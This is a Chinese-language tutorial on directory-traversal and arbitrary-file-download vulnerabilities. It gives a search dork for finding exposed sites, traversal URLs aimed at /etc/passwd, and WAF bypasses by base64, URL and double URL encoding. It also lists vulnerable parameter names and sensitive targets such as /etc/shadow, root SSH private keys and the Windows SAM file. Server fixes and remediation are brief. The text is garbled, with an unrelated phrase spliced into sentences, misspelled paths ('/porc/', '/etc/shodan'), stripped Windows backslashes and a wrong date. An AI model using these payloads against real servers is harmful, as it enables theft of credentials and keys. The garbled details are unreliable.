目录遍历也称为“路径遍历”。 由于Web服务器配置错误,导致网站目录暴露,可以随意浏览。 这称为“目录遍历”
伤害
危险在于你可以浏览一些用户不应该听到的文件内容,比如一些数据库配置文件、网站源代码等……
Google句型:php intitle:index of 如果出现类似下面的内容,则存在目录遍历漏洞。
IIS:在控制面板-->管理工具-->IIS管理器,网站->右键单击->属性->主目录,然后选中目录浏览。 修补方法:当然,取消勾选目录浏览。 Apache:打开 httpd.conf ,搜索“”或更准确地搜索“选项”。 下图中Options旁边有一个+Indexes,说明存在目录遍历漏洞。
经过测试,小皮面板如果配置文件中有Indexes,则不会被目录遍历,会显示403!!!
Nginx:默认情况下不启用目录遍历。 如果发现存在,删除nginx.conf中的“autoindex on;autoinxex_exact_size on”,然后重启
由于网站有下载文件的业务需求php读取配置文件,因此将开放下载。 如果服务器没有对用户传入的参数进行限制或者没有对传入的参数进行检测和限制,则可能会导致网站的敏感文件被下载。
伤害
任意文件读取/下载的危害往往小于目录遍历漏洞的危害。 除了泄露网站的结构目录外,任意文件读取还会导致一些敏感文件通过构造特殊字符结构(如../或~/)被下载,从而导致服务器泄露重要文件信息,如../etc/passwd、../etc/shodan、~/bash_history等文件,或者下载脚本配置文件和网站文件进一步审计,进一步利用更多有害漏洞
如何找出?
一般情况下,文件读取或者文件下载都会在前面加上一个参数名,例如
http://127.0.0.1/file.php?filename=xxx.txt
上面的txt会下载下来,但是如果把官方的xxx.txt换成其他参数怎么办? 例如../etc/passwd
http://127.0.0.1/file.php?filename=../../../../etc/passwd
复制
只有服务器没有对用户传入的数据进行过滤时才会输出这个文件,比如下面
复制
旁路
1202年的信息时代,各种奇特的waf层出不穷。 有些waf会检测用户传入的参数。 也就是说,如果你在部署了waf的网站上,直接访问file.php?filename=../../../etc/passwd就会被拦截
1.绕过编码。 有些网站在读取之前还会将文件名转换为base64或其他编码格式,例如:
http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php
复制
编码后读取文件。 如果要读取其他文件,同样的方法php读取配置文件,先编码,再传入。
2.改用url编码。 或者 /
http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd
复制
http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
复制
%25是%
2F是/
%252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/
复制
http://127.0.0.1/file.php?filename=../../../1.php.jpg
复制
如果filename=xxx.php,则该类型的文件存在漏洞。 filename=xxx.txt或者其他文件名,如果直接显示该文件,则为任意文件读取漏洞。 一定要区分清楚!!!
保护传入文件名的识别和限制。 过滤并合理控制目录的读取权限。 使用白名单来读取文件。 打开php.ini文件,找到open_basedir,然后去掉上面的分号(;),后面跟着等号(open_basedir=)。 写入限制和读取范围过滤。 ./~/等字符。 将需要下载的文件路径提前传到数据库中,然后通过对应的id值进行下载。 但千万不要“捡了芝麻,丢了猕猴桃”,更不要忘记预防注射。
常见的URL格式和参数
download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...
value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...
复制
Windows:
复制
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
C:Windowswin.ini //Windows系统的一个基本系统配置文件
复制
Linux:
复制
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/usr/local/app/php5/lib/php.ini //PHP配置文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
复制